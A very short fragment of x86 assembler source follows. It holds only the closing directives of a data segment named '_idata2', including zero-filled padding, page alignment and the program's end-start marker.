dup(0) align 1000h _idata2 ends end start